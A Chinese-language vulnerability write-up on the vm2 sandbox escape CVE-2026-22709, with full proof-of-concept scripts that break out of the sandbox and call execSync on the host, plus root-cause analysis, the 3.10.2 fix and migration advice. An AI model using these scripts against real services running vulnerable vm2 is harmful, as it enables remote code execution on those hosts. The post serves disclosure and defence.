vm2 沙箱逃逸9.8分漏洞分析(CVE-2026-22709)
vm2 沙箱逃逸9.8分漏洞(CVE-2026-22709)
vm2 沙箱逃逸9.8分漏洞(CVE-2026-22709)
漏洞描述
vm2 库中的一个关键沙盒逃逸允许攻击者通过劫持 Function.prototype.call 来突破隔离环境。这使主机能够实现远程代码执行(RCE)。
GitHub 上超过 20 万个项目依赖 vm2
每周 npm 下载量约 100 万次
被广泛用于 SaaS 平台、在线代码运行器、聊天机器人等场景

翻了一下 n8n
https://app.unpkg.com/@n8n/n8n-nodes-langchain@2.2.3/files/package.json

可能受这个漏洞的影响
环境搭建
我们使用 npm 安装漏洞版本的 vm2:
mkdir vm2-cve-2026-22709
cd vm2-cve-2026-22709
npm init -y
npm install vm2@3.10.0
漏洞复现
创建特殊错误对象
我们首先创建一个 Error 对象,并将其 name 属性设置为 Symbol():
const error = new Error();
error.name = Symbol();当 Node.js 尝试生成这个错误的堆栈跟踪时,由于 name 是 Symbol 而不是字符串,会抛出一个主机上下文的异常。
通过异步函数触发 Promise
创建一个异步函数返回 error.stack,这会触发堆栈跟踪生成:
const f = async () => error.stack;
const promise = f();异步函数的返回值是 globalPromise 对象,这是漏洞利用的关键。
捕获主机异常并逃逸
在 Promise 的 catch 回调中,我们会收到一个主机上下文的 Error 对象:
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo SANDBOX ESCAPED!', { stdio: 'inherit' })"
);
f();
});通过构造函数链(e.constructor.constructor),我们获得了主机的 Function 构造函数,从而可以创建在主机上下文执行的函数。
一键利用 PoC
const { VM } = require("vm2");
console.log("[*] Starting vm2 sandbox escape exploit...");
console.log("[*] Target: vm2 version 3.10.0");
console.log("[*] CVE: CVE-2026-22709\n");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo [+] SANDBOX ESCAPED! Executing arbitrary command...', { stdio: 'inherit' })"
);
f();
});
`;
console.log("[*] Injecting malicious code into sandbox...");
new VM().run(code);
// Give async code time to execute
setTimeout(() => {
console.log("\n[*] Exploit completed.");
}, 1000);

弹计算器
const { VM } = require("vm2");
console.log("[*] 目标: vm2 v3.10.0");
console.log("[*] 攻击: 从沙箱内启动主机应用程序");
console.log("");
const maliciousCode = `
// 步骤 1: 创建特殊错误对象
const error = new Error();
error.name = Symbol();
// 步骤 2: 通过异步函数触发主机异常
const f = async () => error.stack;
const promise = f();
// 步骤 3: 捕获主机异常并逃逸
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
// 在 macOS 上打开计算器
const escapeFunc = new Function(
"process.mainModule.require('child_process').execSync('open -a Calculator')"
);
console.log("[+] 沙箱逃逸成功!");
console.log("[+] 正在从沙箱内启动主机计算器应用...");
escapeFunc();
console.log("[✓] 计算器已启动!");
console.log("[✓] 这证明我们获得了完整的主机访问权限");
});
`;
console.log("[*] 注入恶意代码到沙箱...");
console.log("");
new VM().run(maliciousCode);
// 等待异步执行
setTimeout(() => {
console.log("");
console.log("╔════════════════════════════════════════════════════════════╗");
console.log("║ 如果计算器弹出,说明沙箱逃逸成功! ║");
console.log("╚════════════════════════════════════════════════════════════╝");
}, 1000);

漏洞分析
创建特殊错误对象
文件位置: lib/setup-sandbox.js
当我们创建一个 name 为 Symbol 的错误对象时:
const error = new Error();
error.name = Symbol();Node.js 在生成堆栈跟踪时会尝试将 error.name 转换为字符串。但 Symbol 类型不能隐式转换为字符串,这会导致 Node.js 内部抛出一个 TypeError 异常。
关键点:这个 TypeError 是在主机上下文中抛出的,而不是沙箱上下文。这意味着这个异常对象携带了主机的构造函数引用
通过异步函数触发 Promise
文件位置: lib/setup-sandbox.js
当我们创建异步函数并调用它时:
const f = async () => error.stack;
const promise = f();异步函数尝试访问 error.stack,这会触发堆栈跟踪生成,进而触发上面提到的主机异常。
vm2 对 globalPromise.prototype.catch 进行了包装:
const globalPromiseCatch = globalPromise.prototype.catch;
globalPromise.prototype.catch = function _catch(onRejected) {
resetPromiseSpecies(this);
if (typeof onRejected === 'function') {
const origOnRejected = onRejected;
onRejected = function onRejected(error) {
error = ensureThis(error); // 应该净化错误对象
return apply(origOnRejected, this, [error]);
};
}
return globalPromiseCatch.call(this, onRejected);
};核心点是虽然 vm2 用 ensureThis() 净化错误对象,但在主机异常条件下,这个净化机制失效了。主机异常对象被直接传递给了沙箱的 .catch() 回调。
捕获主机异常并逃逸
文件位置: 沙箱内的攻击代码
当主机异常被传递到沙箱的 .catch() 回调时,我们可以访问这个异常对象:
promise.catch(e => {
// e 是主机上下文的 TypeError 对象
const Error = e.constructor; // 获取主机 Error 构造函数
const Function = Error.constructor; // 获取主机 Function 构造函数
});通过构造函数链,我们获得了主机的 Function 构造函数。现在可以创建在主机上下文执行的函数:
const escapeFunc = new Function(
"process.mainModule.require('child_process').execSync('whoami')"
);
escapeFunc(); // 在主机上下文执行,完全逃离沙箱这个函数不受沙箱限制,可以访问 process、require 等主机对象,执行任意系统命令
漏洞修复
vm2 在 v3.10.2 中修复了此漏洞
https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29


- 直接原型污染攻击:攻击者无法通过重写 Function.prototype.call 来劫持主机代码的执行流
- 间接异常泄露攻击:即使攻击者通过 Symbol error.name 触发主机异常,由于回调调用使用了安全的
Reflect.apply,整个调用链都不会触发可被劫持的属性查找
但是就像报告说的
如果你用的是 vm2,就停下来。说真的。该库历来因此类逃逸问题而困扰,因为在代理中包裹 V8 构造的架构本质上脆弱。这是一场打地鼠游戏,维护者无法无限期获胜。
立即缓解措施: 如果绝对无法迁移,请立即更新到 3.10.2 版本。该版本引入了 Reflect.apply 修复,可以中和特定的 Function.prototype.call 劫持向量。
长期解决方案: 迁移到 isolated-vm。它使用 V8 隔离器(一种较低级别的原语)而非 JavaScript 代理,提供了更严格的安全边界。或者,在临时的 Docker 容器或 Firecracker 微虚拟机中运行不受信任的代码。不要相信 JavaScript 库来沙框 JavaScript 代码。
参考资料
本文只做技术分享,滥用 POC,概不负责
利用Symbol类型error.name触发主机TypeError,绕过ensureThis净化,通过构造函数链获取主机Function执行任意代码。
由 AI 根据全文自动生成,仅供参考,以原文为准
跟AI有啥关系?